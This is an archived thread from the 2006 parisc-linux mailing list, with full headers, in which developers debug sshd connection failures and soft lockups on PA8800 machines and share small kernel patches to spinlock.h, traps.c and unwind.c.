X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yn3xdXQvbUko7+nGPWgnzoFkZ2hlN8pi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23855

On 7/23/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
> On Sun, 2006-07-23 at 22:54 -0400, Thibaut VARENE wrote:
> > Actually on some occasion, the sshd would kill the incoming connection
> > with "bad packet length" and "invalid hash packet" and all sorts of
> > various nasty error messages. And we made sure that these messages
> > were sent by the _server_, not the _client_...
> >
> > My take is that we see that bug so much more on pa8800 because of its
> > huge cache and thus because we hit cache much more often than on all
> > other machines...
> >
> > Still investigating this, i'm about to bring back online my rp3440 ;)
>
> I can get a stable ssh connection to a pa8800 ... once established, I
> don't ever see them close for MIC problems.

I'm totally amazed. Carlos and I could never get a single established
connection...

> To get one going, you just start several remote ssh's at once, so this
> would tend to indicate that it's some type of timing issue connected to
> the fork.

Well, I can consistently crash a remote telnet session if i output too
much data in the terminal (eg running dmesg or ls -lR). I doubt this
is fork related...

Another point worth mentioning, is that sshd is very likely mlocking
stuff so that it doesn't get swapped. Actually, it's been a while
since i last gave a look at sshd source, but I'd bet it keeps mostly
everything in RAM, and given the size of the cache on pa8800, blah
blah see my other mail i'm exhausted ;)

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The problem on the PA8800 is all in the data-cache.
Date: Mon, 24 Jul 2006 00:31:36 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <7d01f9f00607232131m704f1918q6671fe0077e9d16b@mail.gmail.com>
References: <119aab440607221050w3b6a949j49862c2766d5c7ef@mail.gmail.com>
	<1153708426.1235.11.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607231954m7b9992e8r6148bb26b7b461da@mail.gmail.com>
	<1153711459.1235.13.camel@mulgrave.il.steeleye.com>
	<7d01f9f00607232126o68124272he34464cf9abeab4e@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624142 20569 80.91.229.3 (22 Nov 2014 02:42:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:22 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 04:31:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 24 Jul 2006 06:31:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4CD97D748;
	Sun, 23 Jul 2006 22:31:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11529-01; Sun, 23 Jul 2006 22:31:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06C4A7D73E;
	Sun, 23 Jul 2006 22:31:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 760C07D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:31:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11231-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:31:38 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id 2161D7D739
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 22:31:37 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so2308964ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 23 Jul 2006 21:31:37 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=cv+Ff+P3Ht4i7xMrseLx+gDZVi7C/UIRm3tdxt6XoCyEREjkmotkfzsqCkeu/ZcZ4+C9+Z3P2nCR/OMcTb5TYuGwjNT6vUTVa46R/2BfjqfJvRoGIjJaSdkT5yuBY+XNFyEYhBq/CdYYlhzY4Qfj5G843Qz5PUghQ/ss4yE7a6s=
Original-Received: by 10.78.120.6 with SMTP id s6mr1313198huc;
	Sun, 23 Jul 2006 21:31:37 -0700 (PDT)
Original-Received: by 10.78.172.2 with HTTP; Sun, 23 Jul 2006 21:31:36 -0700 (PDT)
In-Reply-To: <7d01f9f00607232126o68124272he34464cf9abeab4e@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 0479f523befd79dd
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UzytK8NOMydynYigZWpl5Z9raGRhZhq4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23856

On 7/24/06, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> On 7/23/06, James Bottomley <James.Bottomley@steeleye.com> wrote:
> > On Sun, 2006-07-23 at 22:54 -0400, Thibaut VARENE wrote:
> > > Actually on some occasion, the sshd would kill the incoming connection
> > > with "bad packet length" and "invalid hash packet" and all sorts of
> > > various nasty error messages. And we made sure that these messages
> > > were sent by the _server_, not the _client_...
> > >
> > > My take is that we see that bug so much more on pa8800 because of its
> > > huge cache and thus because we hit cache much more often than on all
> > > other machines...
> > >
> > > Still investigating this, i'm about to bring back online my rp3440 ;)
> >
> > I can get a stable ssh connection to a pa8800 ... once established, I
> > don't ever see them close for MIC problems.
>
> I'm totally amazed. Carlos and I could never get a single established
> connection...

Another quick dump, yesterday, Carlos and I experienced a totally
different behaviour from our statically linked sshd. It wouldn't even
start... Grant on the other hand, first kept being bounced off ioz and
suddenly started to consistently get passwd prompts, but couldn't
login... Dunno if that rings any bells.

Carlos will probably have more to say about what we've been through
yesterday, he took notes ;)

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: [BUG] 2.6.17 hangs on ppc/ia64/parisc and
	won't load init
Date: Mon, 24 Jul 2006 07:43:29 -0500
Lines: 107
Approved: news@gmane.org
Message-ID: <200607240743.29961.mszick@morethan.org>
References: <7d01f9f00607232039g3d480198w7e206050bca36b0c@mail.gmail.com>
	<7d01f9f00607232041i620d523at60687f9392c3c8d0@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624142 20572 80.91.229.3 (22 Nov 2014 02:42:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 12:43:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 24 Jul 2006 14:43:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8C507D74E;
	Mon, 24 Jul 2006 06:43:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14595-09; Mon, 24 Jul 2006 06:43:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D1EA7D74F;
	Mon, 24 Jul 2006 06:43:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75BEF7D74C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 06:43:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14460-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 06:43:33 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 4A5447D72C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 06:43:33 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6OChj5H061643
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 05:43:45 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.112.229] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id C2G0i6M2
	authenticated by SMTP; Mon, 24 Jul 2006 05:43:43 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <7d01f9f00607232041i620d523at60687f9392c3c8d0@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tvjxcP48Rkkei6uPfGRqTF1mdWkvKFNj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23857

On Sun July 23 2006 22:41, Thibaut VARENE wrote:
> Hi pa-ckers,
> 
> Here's what I just sent to lkml
> 
> ----------
> 

Comments following dump.

> 
> Finally, most recently (yesterday to be precise), on of my parisc
> system (rp3440, pa8800 SMP 800MHz, 4GB RAM, 73GB SCSI) crashed while I
> was using it, and again exposed the exact same symptoms. It was
> running  debian sid and 2.6.17-rc6-pa3 64bit. It was up for a
> few hours. Interestingly, I experienced much longer uptimes with that
> very same machine/kernel. The machine was running gdb when it died,
> and this time I got a stack dump on the console. I don't totally trust
> parisc stack unwinder but here it is anyway:
> 
> BUG: soft lockup detected on CPU#1!
> Backtrace:
>  [<0000000010112aa0>] dump_stack+0x18/0x28
>  [<0000000010172558>] softlockup_tick+0x130/0x160
>  [<0000000010152630>] run_local_timers+0x28/0x38
>  [<0000000010152708>] update_process_times+0xc8/0x128
>  [<000000001011d9d8>] smp_do_timer+0x60/0x80
>  [<0000000010113a5c>] timer_interrupt+0xec/0x1f0
>  [<00000000101726fc>] handle_IRQ_event+0x74/0xf8
>  [<0000000010172838>] __do_IRQ+0xb8/0x260
>  [<00000000101145f8>] do_cpu_irq_mask+0x130/0x1f8
>  [<0000000010104074>] intr_return+0x0/0x1c
> 
> BUG: soft lockup detected on CPU#0!
> Backtrace:
>  [<0000000010112aa0>] dump_stack+0x18/0x28
>  [<0000000010172558>] softlockup_tick+0x130/0x160
>  [<0000000010152630>] run_local_timers+0x28/0x38
>  [<0000000010152708>] update_process_times+0xc8/0x128
>  [<000000001011d9d8>] smp_do_timer+0x60/0x80
>  [<0000000010113a5c>] timer_interrupt+0xec/0x1f0
>  [<00000000101726fc>] handle_IRQ_event+0x74/0xf8
>  [<0000000010172838>] __do_IRQ+0xb8/0x260
>  [<00000000101145f8>] do_cpu_irq_mask+0x130/0x1f8
>  [<0000000010104074>] intr_return+0x0/0x1c
>  [<0000000010167708>] hrtimer_run_queues+0x198/0x268
>  [<000000001015239c>] run_timer_softirq+0x54/0x2c0
>  [<000000001014b8cc>] __do_softirq+0x15c/0x180
>  [<000000001010ec14>] do_softirq+0x64/0x70
>  [<000000001014ba1c>] irq_exit+0x6c/0x78
>  [<0000000010114680>] do_cpu_irq_mask+0x1b8/0x1f8
> 
> This bug (so far) never killed our systems as badly as what I'm
> describing, so it could be something else. The rp3440 machine was
> using an ext3 fs.
> 

Joel has also seen that on his N4K (PA8700) - its in the m-l somewhere.

CPU1 - Looks like it is reporting the stack of the softlock up call.
CPU0 - Has been seen here before or when running task lists for signals.

See other recent posts about this chunk of code (quoting Joel):

Q4: imho the most important: 
	with 2 gcc where is the couple of ssm/rsm that jejb introduced in his patch:

<http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2005-October/036211.html>
--- linux-2.6/include/asm-parisc/spinlock.h?????2005/09/14 14:42:11?????1.16
+++ linux-2.6/include/asm-parisc/spinlock.h?????2005/10/20 16:07:04?????1.17
@@ -11,18 +11,25 @@
	return *a == 0;
 }

-#define __raw_spin_lock_flags(lock, flags) __raw_spin_lock(lock)
+#define __raw_spin_lock(lock) __raw_spin_lock_flags(lock, 0)
 #define __raw_spin_unlock_wait(x) \
			do { cpu_relax(); } while (__raw_spin_is_locked(x))

-static inline void __raw_spin_lock(raw_spinlock_t *x)
+static inline void __raw_spin_lock_flags(raw_spinlock_t *x,
+unsigned long flags)
 {
	volatile unsigned int *a;

	mb();
	a = __ldcw_align(x);
	while (__ldcw(a) == 0)
-		while (*a == 0);
+		while (*a == 0)
+			if (flags & PSW_SM_I) {
+				local_irq_enable();
+				cpu_relax();
+				local_irq_disable();
+			} else
+				cpu_relax();
		mb();
	}

(My e-mail client just trashed the whitespace in the above.)
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: [BUG] 2.6.17 hangs on ppc/ia64/parisc and
	won't load init
Date: Mon, 24 Jul 2006 08:11:39 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <200607240811.39468.mszick@morethan.org>
References: <7d01f9f00607232039g3d480198w7e206050bca36b0c@mail.gmail.com>
	<7d01f9f00607232041i620d523at60687f9392c3c8d0@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624143 20576 80.91.229.3 (22 Nov 2014 02:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:23 +0000 (UTC)
Cc: Thibaut VARENE <T-Bone@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 13:11:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 24 Jul 2006 15:11:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2CB77D756;
	Mon, 24 Jul 2006 07:11:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16194-10; Mon, 24 Jul 2006 07:11:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9F297D758;
	Mon, 24 Jul 2006 07:11:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECADA7D755
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 07:11:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16194-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 07:11:41 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id CB1BA7D753
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 07:11:41 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6ODBsYF071195;
	Mon, 24 Jul 2006 06:11:54 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [69.68.112.229] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id FWI0laO2
	authenticated by SMTP; Mon, 24 Jul 2006 06:11:53 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <7d01f9f00607232041i620d523at60687f9392c3c8d0@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WLKlIHQma0Aovr6aejEzAbc3Njh6dM6y
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23858

On Sun July 23 2006 22:41, Thibaut VARENE wrote:
> Hi pa-ckers,
> 
> Here's what I just sent to lkml
> 
> ----------
> 
> It was up for a few hours. 
> Interestingly, I experienced much longer uptimes with that 
> very same machine/kernel. 

Same compiler now as when you had the longer up-times?

I think there was an abi-event between parisc-3.3 & 3.4
re-compile with gcc-3.3 - see if your machine survives longer.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc trap.c unwind.c small question?
Date: Mon, 24 Jul 2006 16:18:15 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <J2WVQF$103CC701D3667777526743F0D77A2136@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624143 20581 80.91.229.3 (22 Nov 2014 02:42:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:23 +0000 (UTC)
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 14:18:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 24 Jul 2006 16:18:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81BC97D775;
	Mon, 24 Jul 2006 08:18:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17263-04; Mon, 24 Jul 2006 08:18:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6A427D770;
	Mon, 24 Jul 2006 08:18:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 215C27D76D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:18:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17199-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:18:18 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id A13F07D764
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 08:18:17 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id k6OEIFx11357
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:18:15 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: h6zxLNocZDI47rHGdWY2o3NxemhmYwEy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23859

Hi *,

While taking a break, istr it was better to write (ptr =3D=3D NULL) is pl=
ace
(!ptr)?--- arch/parisc/kernel/traps.c.Orig     2006-07-24 15:21:46.000000=
000 +0200
+++ arch/parisc/kernel/traps.c  2006-07-24 16:01:13.000000000 +0200
@@ -182,14 +182,14 @@
 {
        struct unwind_frame_info info;

-       if (!task) {
+       if (task =3D=3D NULL) {
                unsigned long sp;
                struct pt_regs *r;

 HERE:
                asm volatile ("copy %%r30, %0" : "=3Dr"(sp));
                r =3D kzalloc(sizeof(struct pt_regs), GFP_KERNEL);
-               if (!r)
+               if (r =3D=3D NULL)
                        return;
                r->iaoq[0] =3D (unsigned long)&&HERE;
                r->gr[2] =3D (unsigned long)__builtin_return_address(0);
@@ -238,7 +238,7 @@
         * to initialize the serial or STI console. In that case we shoul=
d
         * re-enable the pdc console, so that the user will be able to
         * identify the problem. */
-       if (!console_drivers)
+       if (console_drivers =3D=3D NULL)
                pdc_console_restart();

        printk(KERN_CRIT "%s (pid %d): %s (code %ld)\n",
@@ -423,7 +423,7 @@
        pdc_emergency_unlock();

        /* restart pdc console if necessary */
-       if (!console_drivers)
+       if (console_drivers =3D=3D NULL)
                pdc_console_restart();

        /* Not all paths will gutter the processor... */
--- arch/parisc/kernel/unwind.c.Orig    2006-07-24 15:49:07.000000000 +02=
00
+++ arch/parisc/kernel/unwind.c 2006-07-24 15:49:51.000000000 +0200
@@ -345,7 +345,7 @@
        struct pt_regs *r2;

        r2 =3D (struct pt_regs *)kmalloc(sizeof(struct pt_regs), GFP_KERN=
EL);
-       if (!r2)
+       if (r2 =3D=3D NULL)
                return;
        *r2 =3D *r;
        r2->gr[30] =3D r->ksp;
=3D=3D=3D=3D<>=3D=3D=3D=3D

Thanks,
    Joel

=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
